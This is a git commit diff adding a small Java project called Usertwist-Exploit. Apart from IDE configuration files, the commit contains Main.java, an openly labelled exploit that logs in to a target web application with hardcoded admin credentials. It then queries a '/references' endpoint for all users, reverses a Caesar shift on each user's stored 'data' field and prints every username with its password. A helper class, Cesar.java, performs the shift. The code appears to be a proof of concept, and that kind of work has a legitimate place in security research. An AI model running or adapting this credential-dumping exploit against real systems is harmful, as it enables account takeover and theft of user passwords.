commit 41f7a3d095f91c543d33b4b18e11e5e7b229e6bb Author: Mateo Date: Thu Aug 1 10:33:22 2024 +0200 First commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f68d109 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +### IntelliJ IDEA ### +out/ +!**/src/main/**/out/ +!**/src/test/**/out/ + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache +bin/ +!**/src/main/**/bin/ +!**/src/test/**/bin/ + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 0000000..869c305 --- /dev/null +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/.idea/libraries/json.xml b/.idea/libraries/json.xml new file mode 100644 index 0000000..698e841 --- /dev/null +++ b/.idea/libraries/json.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..6f29fee --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..da6b0bd --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Usertwist-Exploit.iml b/Usertwist-Exploit.iml new file mode 100644 index 0000000..0422efa --- /dev/null +++ b/Usertwist-Exploit.iml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java new file mode 100644 index 0000000..9e21ec5 --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -0,0 +1,74 @@ +package fr.motysten.usertwist.exploit; + +import fr.motysten.usertwist.exploit.tools.Cesar; +import org.json.JSONArray; +import org.json.JSONObject; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +public class Main { + + public static String link = "https://poc.athelas.fr"; + public static String username = "admin"; + public static String password = "AdminSecret1C"; + + public static void main(String[] args) throws IOException, InterruptedException { + BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); + + System.out.println("Usertwist exploit by Motysten"); + String readLine; + + System.out.println("Please enter the URL to attack (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {link = readLine;} + + System.out.println("Please enter the used username (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {username = readLine;} + + System.out.println("Please enter the password (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {password = readLine;} + + HttpClient client = HttpClient.newHttpClient(); + + JSONObject requestJSON = new JSONObject(); + requestJSON.put("username", username); + requestJSON.put("password", password); + + HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login")) + .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) + .build(); + + HttpResponse response = client.send(request, HttpResponse.BodyHandlers.ofString()); + JSONObject responseObject = new JSONObject(response.body()); + String token = responseObject.optString("token"); + + requestJSON = new JSONObject(); + requestJSON.put("term", ""); + requestJSON.put("entity", "users"); + + request = HttpRequest.newBuilder(URI.create(link + "/references")) + .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) + .setHeader("Authorization", "Bearer " + token) + .build(); + + response = client.send(request, HttpResponse.BodyHandlers.ofString()); + JSONArray usersArray = new JSONArray(response.body()); + + for (int i = 0; i < usersArray.length(); i++) { + JSONObject user = usersArray.getJSONObject(i); + String login = user.getString("username"); + String password = Cesar.cesarRotate(user.getString("data"), -4); + + System.out.println(login + " => " + password); + } + } + +} diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java new file mode 100644 index 0000000..8b35445 --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java @@ -0,0 +1,34 @@ +package fr.motysten.usertwist.exploit.tools; + +public class Cesar { + + public static String cesarRotate(String input, int offset) { + + String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; + if (offset < 0) { + LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString(); + offset = -offset; + } + String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); + + StringBuilder output = new StringBuilder(); + + + for (int i = 0; i < input.length(); i++) { + char newChar = input.charAt(i); + if (!Character.isDigit(input.charAt(i))) { + int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i))); + int newPos = (pos + offset) % 26; + if (Character.isUpperCase(input.charAt(i))) { + newChar = UPPER_ALPHABET.charAt(newPos); + } else { + newChar = LOWER_ALPHABET.charAt(newPos); + } + } + output.append(newChar); + } + + return output.toString(); + } + +}